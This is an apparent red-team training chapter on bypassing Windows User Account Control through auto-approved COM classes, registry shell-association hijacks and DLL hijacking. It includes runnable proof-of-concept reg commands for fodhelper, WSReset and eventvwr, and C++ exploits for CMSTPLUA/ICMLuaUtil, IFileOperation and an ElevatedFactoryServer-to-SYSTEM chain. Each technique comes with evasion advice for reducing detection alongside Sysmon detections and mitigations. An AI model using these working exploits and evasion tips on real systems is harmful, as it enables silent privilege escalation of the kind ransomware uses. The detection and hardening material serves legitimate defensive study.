72 KiB
04 · COM-Based UAC Bypass
Audience / level: Red team operators and detection engineers; no UAC internals background assumed, ramping to advanced tradecraft. Prerequisites: basic Windows administration (registry, services, scheduled tasks), PowerShell literacy, and COM fundamentals (CLSID, moniker, activation). Estimated reading time: 90–120 minutes. After this chapter you will be able to explain how UAC elevation actually works, turn auto-approved COM classes into silent High-integrity execution, reproduce nine documented bypass families in a lab, and predict the telemetry each one leaves behind.
Contents
- 1. UAC internals: what is being bypassed
- 2. The COM connection: elevation moniker and auto-approved classes
- 3. Technique catalog — nine families: registry shell-association hijacks; CMSTPLUA/ICMLuaUtil; IFileOperation; ElevatedFactoryServer; DLL hijacking; mock trusted directories; SilentCleanup; token manipulation/AppInfo abuse; CVE-2019-1388
- 4. Tooling: UACME, Akagi, and validation frameworks
- 5. Detection and hunting
- 6. Mitigations and hardening
- Research Lab: Finding New UAC Bypasses
- References
1. UAC internals: what is being bypassed
User Account Control (UAC), introduced in Windows Vista, forces even members of the local Administrators group to run with a filtered standard-user token until a process explicitly requests elevation ([3]). A "UAC bypass" is any technique that obtains a High-integrity, full-administrator process without the interactive consent or credential prompt ([2]). Everything in this chapter is a way to short-circuit one specific hop of the elevation pipeline described below.
Beginner note: A token is the kernel object that carries a logon session's identity: user and group SIDs, privileges, and an integrity level. A filtered token (also called a restricted or limited token) is a copy of the administrator's real token with the powerful group SIDs and privileges stripped out — produced by
NtFilterToken. The two tokens are linked: the full one is kept by the system and can be reached through theTokenLinkedTokeninformation class, which is exactly what legitimate elevation retrieves.
Split tokens at logon. When a "protected administrator" (an admin running in Admin Approval Mode) logs on interactively, LSASS (lsass.exe) creates two linked tokens: the full-privilege token and the filtered token. explorer.exe — and therefore every program you start from the shell — runs on the filtered token at Medium integrity ([3]). Token state is queryable via GetTokenInformation/NtQueryInformationToken with TOKEN_ELEVATION_TYPE (TokenElevationTypeDefault=1, TokenElevationTypeFull=2, TokenElevationTypeLimited=3), TokenElevation, TokenLinkedToken, and TokenIntegrityLevel.
Beginner note: Mandatory Integrity Control (MIC) labels every securable object and every token with an integrity level (IL), encoded as a mandatory-label SID of the form
S-1-16-x. The write rule is "no write up": a process cannot modify objects labeled above its own IL. UIPI (User Interface Privilege Isolation) applies the same idea to window messages: a lower-IL process cannot send input to a higher-IL window unless the sender's manifest setsuiAccess="true"and the binary is signed and installed in a secure location.
| Integrity level | RID x in S-1-16-x |
Hex | Typical holder |
|---|---|---|---|
| Untrusted | 0 | 0x0 | Anonymous / heavily sandboxed |
| Low | 4096 | 0x1000 | Browsers, sandboxed renderers |
| Medium | 8192 | 0x2000 | Default user processes (filtered admin token) |
| Medium Plus | 8448 | 0x2100 | explorer.exe (Vista-era) |
| High | 12288 | 0x3000 | Elevated administrator processes |
| System | 16384 | 0x4000 | NT AUTHORITY\SYSTEM services |
| Protected | 20480 | 0x5000 | Protected processes (PPL) |
The elevation pipeline. When a process needs elevation — its manifest declares requestedExecutionLevel level="requireAdministrator", or the caller used ShellExecuteEx with lpVerb="runas" — process creation fails with ERROR_ELEVATION_REQUIRED (740) and the request is forwarded to the Application Information service (AppInfo; appinfo.dll hosted in svchost.exe, historically C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo, with per-service hosting on Windows 10 1703+). AppInfo is the elevation broker: it evaluates policy, manifest, signature, and path trust, then asks the user. James Forshaw documented its local RPC/ALPC interface — UUID {201ef99a-7fa0-444c-9399-19ba84f12a1a} — and the RAiLaunchAdminProcess call that ultimately starts the approved process ([7]).
Beginner note: consent.exe is the Consent UI — the dimmed-screen "Do you want to allow this app to make changes?" dialog. AppInfo launches it as
NT AUTHORITY\SYSTEMat System integrity on the Secure Desktop, a separate Winlogon desktop where only SYSTEM-trusted processes can render or receive input, which defeats UI spoofing (unless weakened withPromptOnSecureDesktop=0). On approval, AppInfo creates the new process with the full token at High IL; on denial, nothing runs.
Policy knobs live under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ([4]):
| Value | Default | Meaning |
|---|---|---|
EnableLUA |
1 | 0 disables UAC entirely (breaks Store apps) |
ConsentPromptBehaviorAdmin (CPBA) |
5 | 0 = elevate without prompting; 1 = credentials on secure desktop; 2 = consent on secure desktop ("Always notify"); 3 = credentials; 4 = consent; 5 = consent for non-Windows binaries |
ConsentPromptBehaviorUser |
— | 0 = auto-deny; 1 = credentials on secure desktop; 3 = credentials |
PromptOnSecureDesktop (POSD) |
1 | 0 = consent UI on the interactive desktop (UI-spoofable) |
FilterAdministratorToken |
0 | Built-in Administrator has no split token and auto-elevates everything — UAC bypass is moot there |
ValidateAdminCodeSignatures |
0 | Require elevated binaries to be signed |
EnableSecureUIAPaths |
1 | Restrict uiAccess="true" to secure locations |
LocalAccountTokenFilterPolicy |
0 | "Remote UAC" token filtering for local accounts over the network — a lateral-movement concern (see the DCOM chapter), not a local-bypass knob |
The UI slider maps onto policy: Always notify = CPBA 2 / POSD 1; Default = CPBA 5 / POSD 1; no-dim = CPBA 5 / POSD 0; Never notify = CPBA 0 / POSD 0 ([4]). COMAutoApprovalList, the registry list of COM classes approved for silent elevation, is covered in section 2.
Auto-elevation — the "backdoor" everyone abuses. Since Windows 7, to reduce prompt fatigue, a process elevates with no prompt when all of the following hold: (a) its manifest sets autoElevate="true" (or it sits on AppInfo's internal auto-approve EXE list, e.g. mmc.exe), (b) it resides in a trusted secure directory (%SystemRoot%\System32 and similar), (c) it is signed by the Microsoft/Windows publisher, and (d) policy is at default (CPBA=5) ([3], [4]). Two further silent-elevation surfaces exist: approved COM classes (COMAutoApprovalList) and certain scheduled tasks configured to run "with highest privileges."
Key idea: Every bypass family in section 3 poisons exactly one of these trust inputs: what the auto-elevated binary resolves (registry shell associations), what it loads (DLL search order), where it "lives" (mock trusted directories), what environment it inherits (
%windir%, profiler variables), or which COM class AppInfo auto-approves.
UAC is not a security boundary — and what a bypass gains. Microsoft explicitly declines to service UAC bypasses as security vulnerabilities: the MSRC reply quoted in public research reads "we don't consider UAC a hard security boundary, but rather, a customizable enhancement..." (MSRC case 64957, per Stefan Kanthak ([21]); see the Microsoft Security Servicing Criteria ([6])). The practical consequences: most bypasses never receive CVEs or patches, they die only through incidental OS hardening, and the reference corpus (UACME, section 4) still lists roughly 25+ working methods as of v3.7.x in 2026 ([1]). Operationally, a bypass converts code execution as a protected admin at Medium IL into a High-IL full-token process silently — no prompt to scare the user, no credentials to steal. It presupposes you already run code as an admin-group user; from a standard user there is nothing to bypass. It yields High IL, not SYSTEM — unless you chain further (section 3.4 yields SYSTEM directly). At least 60 named threat groups and malware families use T1548.002 in the wild, including LockBit 2.0/3.0, BlackCat, Avaddon, BADHATCH, Raspberry Robin, Saint Bot, ZeroT, Pupy, WarzoneRAT, and KONNI ([2]).
Legal: Every technique here executes code with elevated privileges on a machine. Use only inside an authorized engagement with written scope, or in your own lab VMs. Several families are near-zero-false-positive detection opportunities — expect competent blue teams to catch lazy execution.
2. The COM connection: elevation moniker and auto-approved classes
COM enters the UAC story through a documented Microsoft feature: the COM Elevation Moniker ([5]). Instead of CoCreateInstance, the client binds an object by name:
CoGetObject(L"Elevation:Administrator!new:{CLSID}", &bind_opts, riid, &ppv);
with BIND_OPTS3.dwClassContext = CLSCTX_LOCAL_SERVER. This requests an out-of-process, elevated COM server: the activation request goes through AppInfo, which applies the same trust evaluation as for an EXE launch. For classes on the COMAutoApprovalList — HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList — activation from a Medium-IL caller on default UAC policy is silent: consent.exe never runs ([5], [39]).
Beginner note: A moniker is COM's "object by name" mechanism: a string like
Elevation:Administrator!new:{...}encodes how to bind (elevated, as administrator, new instance) plus what to bind (the CLSID).CoGetObjectparses the string, delegates to the moniker implementation, and returns an interface pointer — here, a pointer into a High-IL server process. Per-class elevation support is flagged in the registry by anElevationsubkey withEnabled= 1 underHKCR\CLSID\{...}; approval for silent elevation additionally requires the class to be listed inCOMAutoApprovalList([5]).
How to read this figure: a Medium-IL caller issuing CoGetObject("Elevation:Administrator!new:{CLSID}") reaches AppInfo, which consults the auto-elevation criteria (autoElevate manifest, signature, secure directory, or the class-level Elevation\Enabled registration and COMAutoApprovalList). The red path is the one this chapter weaponizes — a silent High-IL object; the slate path is the consent prompt every bypass is trying to avoid.
The conceptual shift matters for offense: EXE-based auto-elevation asks AppInfo "do I trust this program?", while COM auto-elevation asks "do I trust this class?" — and trusted classes expose methods. If any reachable method on an auto-approved class lets you start a process, write a file, or edit the registry, you own a silent Medium-to-High primitive ([23], [39]).
How to read this figure: lane A is the normal path (Medium-IL process → AppInfo → consent prompt → High-IL process). Lane B is the COM path: activating an auto-elevated class returns a High-IL object with no prompt at all, and its methods — e.g. IFileOperation.CopyItem — then act with elevated rights, such as writing into %windir%\System32.
3. Technique catalog
Nine bypass families, each with mechanics, prerequisites, a runnable PoC, and its telemetry. UACME method numbers are cited as [UACME #n]; "fixed in" data is verbatim from the UACME v3.7.x README ([1]). Remember the standing caveat: "unfixed" means "UACME-listed unfixed", not a guarantee on a specific patched build — independent testers report inconsistent behavior across 22H2–25H2 from silent hardening and AV/EDR interference, so always re-verify in a lab matching your target build.
Two catalogued surfaces are summarized here rather than given full templates. UIPI/uiAccess GUI hacks: hijack duser.dll/osksupport.dll into osk.exe, then leverage uiAccess to drive an elevated window (#32, xi-tauw, UNFIXED); or duplicate/modify a UIAccess token while lowering the IL, keeping uiAccess to send synthetic input across the boundary (#55/#79, Forshaw/Kanthak — fixed RS5 17763 plus 2024 hardening that strips UIAccess when the IL is lowered; targets osk.exe, msconfig.exe, mmc.exe) ([41]). Appcompat/misc: the RedirectEXE shim (#4 — Downdelph built custom SDBs; fixed via KB3045645/KB3048097 and sdbinst auto-elevation removal), a shim memory patch (#11), the InfDefaultInstall whitelist (#28 — MS14-060/Sandworm; removed from the auto-approve EXE list), an auto-elevate manifest trick on manifest-less MS binaries (taskhost/tzsync, #18, fixed RS1 14371), and .NET deserialization in Event Viewer (#73, orange_8361 + antonioCoco, fixed 24H2 by the EventViewer redesign) ([1]).
3.1 Registry shell-association hijacks (fodhelper, computerdefaults, eventvwr, sdclt, WSReset)
MITRE: T1548.002 · Since: 2016–2019, enigma0x3 / winscripting.blog / Hashim Jawad / others below · Affects: Windows 7 through Windows 11, per binary (table below)
The most popular family, and fully fileless. The generic principle: an auto-elevating EXE internally ShellExecutes a protocol or file association; the per-user hive HKCU\Software\Classes overrides HKLM\Software\Classes, is writable at Medium IL, and the elevated process resolves the verb from the attacker's hive — executing the attacker's (Default) command with its inherited High-integrity token. No prompt, no file copy into protected paths.
Mechanics
- Choose an auto-elevated binary that resolves a shell association at runtime (table below).
- Write the association's verb command under
HKCU\Software\Classes\<ProgID-or-protocol>\shell\open\command(orShell\Open\command), pointing(Default)at the payload. - Empty the verb's
DelegateExecutevalue — this step is critical: whenDelegateExecuteis populated, the shell routes the verb to the registered COM handler and ignores your(Default)command. - Launch the auto-elevated binary. It auto-elevates silently (default policy), queries the association, and starts the payload at High IL.
- Delete the planted key for cleanup.
| Binary | Hijacked key | Builds | Status / UACME | Source |
|---|---|---|---|---|
fodhelper.exe (Manage Optional Features) |
HKCU\Software\Classes\ms-settings\Shell\Open\command |
Win10 10240 → Win11 | UNFIXED (#33; protocol variant #67 Arush Agarampur; ProgID variant #70 V3ded ([43])) | winscripting.blog, May 12 2017 ([12]) |
computerdefaults.exe |
same ms-settings key |
Win10 RS4 17134+ | UNFIXED (#62) | winscripting.blog ([12]) |
eventvwr.exe |
HKCU\Software\Classes\mscfile\shell\open\command |
Win7–10 | FIXED in Win10 RS2/1703 build 15031+ (Event Viewer redesigned) | Matt Nelson + Matt Graeber, Aug 15 2016 ([8]) |
sdclt.exe wave 1 (App Paths) |
HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe |
Win10 10240–16215 | FIXED RS3 (#29) | enigma0x3, Mar 14 2017 ([10]) |
sdclt.exe wave 2 (Folder) |
HKCU\Software\Classes\Folder\shell\open\command |
Win10 10240–17025 | FIXED RS4 (#31) | enigma0x3, Mar 17 2017 ([11]) |
sdclt.exe wave 3 (ShellRegMod) |
registry modification variant | Win10 14393+ | UNFIXED (#53) | Emeric Nasi / sevagas ([16]) |
WSReset.exe |
HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\Open\command |
Win10 17134/1803–1809 | #56 FIXED Win11 22000; protocol variant #68 (Arush Agarampur) UNFIXED from 17763 | Hashim Jawad, Mar 2019 ([15]) |
Adjacent surfaces worth knowing: slui.exe/changepk.exe (#45 fixed 19041; #61 UNFIXED from 14393), COM-handler hijack under HKCU\Software\Classes\CLSID\{...} against mmc.exe/recdisc.exe (#40/#47, fixed 19H1 18362), and a BitlockerWizardElev race (#46, fixed RS4) ([1]). In the wild: fodhelper via Earth Lusca, Raspberry Robin, Saint Bot, KOCTOPUS; eventvwr via ZeroT, Pupy, Koadic, BitPaymer, Grandoreiro ([2]).
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Code execution as a protected administrator (Medium IL); HKCU is writable |
| OS/build | Per table; fodhelper/computerdefaults are the modern defaults |
| Config | Default UAC policy (CPBA=5); "Always notify" (CPBA=2) blocks the family |
Proof of concept
# fodhelper — the canonical chain ([12])
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "C:\path\payload.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /d "" /f
C:\Windows\System32\fodhelper.exe # payload starts at High IL
reg delete "HKCU\Software\Classes\ms-settings" /f # cleanup
# WSReset — ms-windows-store AppID verb ([15])
reg add "HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\Open\command" /ve /d "C:\path\payload.exe" /f
reg add "HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\Open\command" /v DelegateExecute /d "" /f
C:\Windows\System32\WSReset.exe
# eventvwr (pre-15031 only) — mscfile verb ([8])
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /ve /d "C:\path\payload.exe" /f
C:\Windows\System32\eventvwr.exe # eventvwr -> mmc.exe eventvwr.msc -> payload High IL
(Metasploit ships exploit/windows/local/bypassuac_eventvwr for the legacy variant ([38]); Atomic Red Team covers fodhelper, eventvwr, sdclt, and WSReset #23 ([31]) — see section 4.)
OpSec & detection
- Sysmon 12/13 on the §5 registry paths — the write of
(Default)plus an emptiedDelegateExecute, followed within seconds by the matching System32 binary, is the classic automated chain (Splunk "WSReset UAC Bypass" ([33]); Sigma has per-techniqueregistry_setrules ([37])). - Sysmon 1: a High-integrity child process (
cmd.exe/powershell.exe/payload in user paths) whose parent is a known auto-elevate binary is near-zero false positive (Splunk "FodHelper UAC Bypass" ([32]), "Windows UAC Bypass Suspicious Child Process" ([36])). - Reduce noise: write, launch, clean up in quick succession; prefer payloads whose
Imageis a signed binary; remember the registry write happens at Medium IL and is fully visible to EDR even when the elevated child is not.
Mitigations
- Set the slider to Always notify (CPBA=2, POSD=1) — kills this family outright ([4]).
- WDAC/AppLocker rules blocking child processes of auto-elevate binaries; audit
HKCU\Software\Classes\association keys for the watched ProgIDs ([44]).
3.2 CMSTPLUA and ICMLuaUtil (elevated ShellExec and friends)
MITRE: T1548.002 · Since: Oddvar Moe, [UACME #41] · Affects: Windows 7 7600 → present, UNFIXED ([1])
The elevated-COM workhorse. The COM class CMSTPLUA (CLSID {3E5FC7F9-9A51-4367-9063-A120244FBEC7}, implemented by cmluautil.dll) is auto-approved for silent elevation and exposes the undocumented interface ICMLuaUtil (IID {6EDD6D74-C007-4E75-B76A-E5740995E24C}), whose ShellExec method starts an arbitrary process from the elevated server ([1], [22]). Used in the wild by Avaddon, BADHATCH, LockBit 3.0, FudCrypt, and the 2026 JDownloader supply-chain malware ([2], [23]); elevated COM abuse also appears in in-memory loaders dropping ScreenConnect ([45]).
How to read this figure: activation of {3E5FC7F9-9A51-4367-9063-A120244FBEC7} through the elevation moniker yields an auto-elevated object; binding ICMLuaUtil and calling ShellExec("cmd.exe", ...) produces a High-IL child process. The variant note marks SetRegistryStringValue — an elevated registry write off the same interface.
Mechanics
CoInitializeEx, then build the moniker stringElevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}.CoGetObjectwithBIND_OPTS3(dwClassContext = CLSCTX_LOCAL_SERVER) — AppInfo finds the class onCOMAutoApprovalListand starts the elevated COM server with no consent UI.- Query the returned object for
ICMLuaUtil({6EDD6D74-C007-4E75-B76A-E5740995E24C}). - Call
ShellExec— signature (undocumented; sits at the vtable slot after six placeholder methods):HRESULT ShellExec(LPCWSTR lpFile, LPCWSTR lpParameters, LPCWSTR lpDirectory, ULONG fMask, ULONG nShow)— e.g.ShellExec(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, SEE_MASK_DEFAULT, SW_SHOW)→ elevated process, no prompt on default UAC ([1], [22]). - Variants on the same interface:
ICMLuaUtil::CallCustomActionDllruns an arbitrary DLL export elevated ([22]); the assigned chain diagram notes aSetRegistryStringValuemethod for elevated registry writes (signature not documented in our sources — verify in lab). - Modern wrinkle (2024–2026 research, codedintrusion / g3tsyst3m): on current Win10/11 builds real-world loaders add PEB masquerading before
CoGetObject— overwritingPEB.ImagePathName/FullPathto pose as a trusted binary such asexplorer.exe/conhost.exe— because AppInfo scrutinizes the caller ([22], [23]).
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Medium-IL process of a protected administrator |
| OS/build | Windows 7 7600 → present per UACME; behavior on latest builds is version-dependent (verify in lab) |
| Config | Default UAC policy; class must remain on COMAutoApprovalList |
| Tooling | Compiled C/C++ (or reflective loader); no documented PowerShell one-liner for the raw interface |
Proof of concept
// Minimal CMSTPLUA bypass — bind the elevated object, ShellExec a command ([1], [22])
#include <windows.h>
#include <objbase.h>
const CLSID CLSID_CMSTPLUA = {0x3E5FC7F9,0x9A51,0x4367,{0x90,0x63,0xA1,0x20,0x24,0x4F,0xBE,0xC7}};
const IID IID_ICMLuaUtil = {0x6EDD6D74,0xC007,0x4E75,{0xB7,0x6A,0xE5,0x74,0x09,0x95,0xE2,0x4C}};
// Undocumented interface; vtable layout per public reversing ([22]): six placeholders, then ShellExec
struct ICMLuaUtil : IUnknown {
virtual HRESULT STDMETHODCALLTYPE r0()=0; virtual HRESULT STDMETHODCALLTYPE r1()=0;
virtual HRESULT STDMETHODCALLTYPE r2()=0; virtual HRESULT STDMETHODCALLTYPE r3()=0;
virtual HRESULT STDMETHODCALLTYPE r4()=0; virtual HRESULT STDMETHODCALLTYPE r5()=0;
virtual HRESULT STDMETHODCALLTYPE ShellExec(LPCWSTR f, LPCWSTR p, LPCWSTR d, ULONG m, ULONG s)=0;
};
int wmain() {
CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
BIND_OPTS3 bo = {}; bo.cbStruct = sizeof(bo);
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
ICMLuaUtil* p = NULL;
HRESULT hr = CoGetObject(L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}",
&bo, IID_ICMLuaUtil, (void**)&p);
if (SUCCEEDED(hr)) { // 0 == SEE_MASK_DEFAULT; failure means policy/build blocked the silent bind
p->ShellExec(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, 0, SW_SHOW);
p->Release();
}
CoUninitialize();
return 0;
}
OpSec & detection
- Process lineage: the elevated child appears under a COM surrogate/
dllhost-style host rather than under your Medium-IL process — but the grandchild (cmd.exeat High IL with noconsent.exeon the wire) is the tell: silent elevation events without a consent prompt are a documented hunting pattern (section 5). - String indicators: the literal
Elevation:Administrator!new:moniker and the CLSID{3E5FC7F9-9A51-4367-9063-A120244FBEC7}— frequently stored reversed or XORed in malware (T1027); hunt both forms. PEB masquerading defeats naive parent-image checks; correlate with Sysmon EID 10 (process access) around activation time. - Reduce noise: prefer
CallCustomActionDllorSetRegistryStringValue-style side effects over spawningcmd.exe; keep payloads inside signed LOLBins so the High-IL child'sImageblends in.
Mitigations
- Always notify policy blocks the silent activation ([4]).
- WDAC/AppLocker child-process and user-writable-path DLL rules; alert on any process binding auto-approved elevated classes outside known system components; monitor
COMAutoApprovalListfor tampering ([44]).
3.3 IFileOperation (privileged file copy into protected directories)
MITRE: T1548.002 · Since: Leo Davidson lineage; underpins [UACME #1–#3, #8, #10, #12–#23, #57, #77] · Affects: Windows 7 → present, UNFIXED ([1])
IFileOperation is the documented shell copy interface (shobjidl_core.h) exposed by the class CLSID_FileOperation = {3AD05575-8857-4850-9277-11B85BDB8E09} — and that class is auto-approved for silent elevation. Bound through the elevation moniker, it gives a Medium-IL process a privileged copy primitive: write attacker files into %SystemRoot%\System32 (or the sysprep directory) without ever touching CreateFile with elevated rights itself. This is the classic arming step for the DLL-hijack family (section 3.5); WarzoneRAT uses it on older OSes ([1], [2]).
How to read this figure: (1) bind elevated IFileOperation {3AD05575-8857-4850-9277-11B85BDB8E09}, (2) set silent operation flags, (3) CopyItem the payload DLL into C:\Windows\System32\..., (4) PerformOperations(), then (5) an auto-elevated process loads the planted DLL. The teal note marks the defensive signal: a Medium-IL process writing into System32 via COM.
Mechanics
CoGetObject(L"Elevation:Administrator!new:{3AD05575-8857-4850-9277-11B85BDB8E09}", ...)withBIND_OPTS3/CLSCTX_LOCAL_SERVER→ elevatedIFileOperation([1]).SetOperationFlags(FOFX_SILENT | FOF_NOCONFIRMATION | FOFX_NOCONFIRMMKDIR | FOF_NOERRORUI)— suppress every UI and confirmation path.- Build
IShellItems for the source DLL and destination folder;CopyItem(src, destFolder, NULL, NULL). PerformOperations()— the copy executes with High-IL rights, landing the DLL inside the protected directory.- Launch the auto-elevated binary whose import table resolves the planted DLL name first (section 3.5) → attacker code runs inside a High-IL Microsoft-signed process.
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Medium-IL process of a protected administrator |
| OS/build | Windows 7 → present per UACME (verify exact copy semantics per build in lab) |
| Config | Default UAC policy |
| Payload | A DLL matching the target binary's hijackable import (name, exports, architecture) |
Proof of concept
// IFileOperation elevated copy — plant evil.dll into System32\sysprep (arming step) ([1])
#include <windows.h>
#include <shobjidl.h>
#include <shlobj.h>
const CLSID CLSID_FileOperation = {0x3AD05575,0x8857,0x4850,{0x92,0x77,0x11,0xB8,0x5B,0xDB,0x8E,0x09}};
int wmain() {
CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
BIND_OPTS3 bo = {}; bo.cbStruct = sizeof(bo);
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
IFileOperation* pfo = NULL;
HRESULT hr = CoGetObject(L"Elevation:Administrator!new:{3AD05575-8857-4850-9277-11B85BDB8E09}",
&bo, IID_IFileOperation, (void**)&pfo);
if (SUCCEEDED(hr)) {
pfo->SetOperationFlags(FOFX_SILENT | FOF_NOCONFIRMATION | FOFX_NOCONFIRMMKDIR | FOF_NOERRORUI);
IShellItem *src = NULL, *dst = NULL;
SHCreateItemFromParsingName(L"C:\\Users\\attacker\\evil-cryptbase.dll", NULL, IID_IShellItem, (void**)&src);
SHCreateItemFromParsingName(L"C:\\Windows\\System32\\sysprep", NULL, IID_IShellItem, (void**)&dst);
pfo->CopyItem(src, dst, NULL, NULL);
pfo->PerformOperations(); // file lands in the protected directory
src->Release(); dst->Release(); pfo->Release();
}
CoUninitialize();
return 0;
}
OpSec & detection
- Sysmon 11 (file create): a write into
%SystemRoot%\System32(or...\sysprep) attributed to a Medium-IL, non-system process is the canonical signal — the figure's teal note. - Sysmon 7 (image load) + API telemetry: the next event is a Microsoft-signed auto-elevated binary loading the planted DLL from a non-standard location (section 3.5); ETW/API monitors see
CoGetObjectwith the FileOperation CLSID andIFileOperation::CopyItemdestinations outside user-writable paths. - Reduce noise: stage the source DLL on disk briefly and delete after
PerformOperations; reuse the destination binary's real expected DLL name so image-load allow-lists match.
Mitigations
- Always notify blocks the silent bind ([4]).
- WDAC policy blocking unsigned DLL loads by elevated Microsoft binaries; enable the
PreferSystem32Imagesmitigation; alert on System32 writes by non-trusted installers ([44]).
3.4 ElevatedFactoryServer (fileless COM to Task Scheduler to SYSTEM)
MITRE: T1548.002 + T1053.005 · Since: zcgonvh, [UACME #74] · Affects: Windows 8.1 9600+, UNFIXED ([1], [19])
The crown jewel of the family: a fully fileless chain that yields SYSTEM, not just High IL. The auto-approved class ElevatedFactoryServer ({A6BFEA43-501F-456F-A845-983D3AD7B8F0}) exposes IElevatedFactoryServer (IID {804bd226-af47-4d71-b492-443a57610b08}) with a ServerCreateInstance method that instantiates arbitrary COM classes inside the elevated surrogate — including the Task Scheduler's TaskScheduler class ({0f87369f-a4e5-4cfc-bd3e-73e6154572dd}), whose ITaskService then registers a task running as SYSTEM ([19]).
Mechanics
CoGetObject("Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}", ...)→ elevatedIElevatedFactoryServer. It is anInProcServer32class, so activation runs inside a surrogate/dllhostgoverned by theLaunchPermission/AccessPermissionsecurity descriptors onHKLM\SOFTWARE\Classes\AppID\{A6BFEA43-...}([19]).- Call
ServerCreateInstance({0f87369f-a4e5-4cfc-bd3e-73e6154572dd} /* CLSID TaskScheduler */, IID_IUnknown, ...)→ an elevatedITaskServiceproxy. ITaskService::Connect, then register a task whose XML sets<Principal><UserId>SYSTEM</UserId><RunLevel>HighestAvailable</RunLevel>with an arbitrary command action.- Run the task (or set an immediate trigger) → the command executes as
NT AUTHORITY\SYSTEM. Entirely in-memory/fileless.
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Medium-IL process of a protected administrator |
| OS/build | Windows 8.1 9600+ per UACME (verify in lab on latest builds) |
| Config | Default UAC policy; class on COMAutoApprovalList; AppID SDs at defaults |
Proof of concept
// (illustrative sketch — vtable order per zcgonvh's write-up ([19]); verify against your build)
BIND_OPTS3 bo = {}; bo.cbStruct = sizeof(bo);
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
IElevatedFactoryServer* pefs = NULL;
CoGetObject(L"Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}",
&bo, IID_IElevatedFactoryServer /* {804bd226-af47-4d71-b492-443a57610b08} */, (void**)&pefs);
// elevated ITaskService straight out of the factory — no file ever touches disk
ITaskService* pts = NULL;
pefs->ServerCreateInstance(CLSID_TaskScheduler /* {0f87369f-a4e5-4cfc-bd3e-73e6154572dd} */,
IID_IUnknown, (IUnknown**)&pts);
pts->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
// ... IRegisteredTask with <UserId>SYSTEM</UserId><RunLevel>HighestAvailable</RunLevel> -> SYSTEM shell
OpSec & detection
- Sysmon 1:
svchost.exe(Schedule service) spawning the task action as SYSTEM — parent is Task Scheduler, not your process; correlate with a preceding silent elevation (noconsent.exe). - Task registration + strings: Security/Sysmon task-scheduler events for a new SYSTEM-principal task registered outside admin tooling;
Elevation:Administrator!new:plus CLSIDs{A6BFEA43-501F-456F-A845-983D3AD7B8F0}/{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}in binaries or memory. - Reduce noise: use a one-shot time trigger and delete the task immediately; name it under
\Microsoft\Windows\-looking paths; no dropped binary means Sysmon 11 stays quiet.
Mitigations
- Always notify policy; WDAC restricting which processes may activate auto-approved classes; alert on
dllhost.exe/svchost.exehosting unusual class activations followed by task registration ([4], [44]).
3.5 DLL hijacking of auto-elevated binaries
MITRE: T1548.002 + T1574.001/.002 · Since: Windows 7 era ([UACME #1] onward) · Affects: per-binary, table below
The largest historical family. The pattern: find a Microsoft-signed auto-elevate EXE that imports a DLL not in KnownDlls by an unqualified name, then drop a same-named DLL where the loader searches first — the application directory, an SxS DotLocal redirection, or the WOW64 logger path. The elevated EXE loads the attacker's DLL and executes it at High IL. Because the binary lives in a protected directory, the plant usually needs a privileged write: IFileOperation (section 3.3), a mock trusted directory (section 3.6), or a per-user environment trick ([1]).
Mechanics
- Select a target from the auto-elevate inventory and identify its hijackable import (unqualified name, absent from KnownDlls).
- Build a proxy/payload DLL exporting the expected names (forwarding to the real DLL where stability matters).
- Plant the DLL via a privileged-copy primitive (section 3.3/3.6) or a user-writable path that outranks System32 for this binary.
- Launch the auto-elevated EXE; the loader resolves the attacker DLL inside the High-IL process.
Representative targets ([1] unless noted):
| Binary | Hijacked DLL | UACME | Status |
|---|---|---|---|
sysprep.exe |
cryptbase.dll, dbgcore.dll, unbcl.dll, Actionqueue.dll, unattend.dll, ShCore.dll, comctl32.dll (SxS .local) |
#1, #12, #17, #8, #57, #2, #21 | fixed variously 9600–16232 |
cliconfg.exe |
ntwdblib.dll |
#7/#15 | fixed RS1 — used by Operation Honeybee |
migwiz.exe/mcx2prov.exe via wusa.exe /extract |
cryptbase/cryptsp/wdscore |
#6 | fixed TH1 (WUSA /extract removed); ShimRat hijacked cryptbase.dll in migwiz |
consent.exe itself |
comctl32.dll DotLocal |
#22 | fixed only in Win11 24H2/25H2 |
dccw.exe |
GdiPlus.dll via SxS + NTFS junction |
#36/#37 | SandboxEscaper race, fixed 24H2 |
mmc.exe |
atl.dll |
#77 | UNFIXED |
pkgmgr.exe |
DismCore.dll |
#23 | UNFIXED since Win7 |
msdt.exe (SysWOW64)/sdiagnhost.exe |
BluetoothDiagnosticUtil.dll |
#72 | Emeric Nasi, UNFIXED ([17]) |
iscsicpl.exe (SysWOW64) |
iscsiexe.dll |
#76 | UNFIXED |
SystemPropertiesAdvanced.exe |
srrstr.dll via %LocalAppData%\Microsoft\WindowsApps |
#54 | egre55, fixed 19H1 ([42]) |
taskhostw.exe |
pcadm.dll / PerformanceTraceHandler.dll |
#69 / #80 | fixed 24H2 / fixed 25H2 (Win11 26100→) |
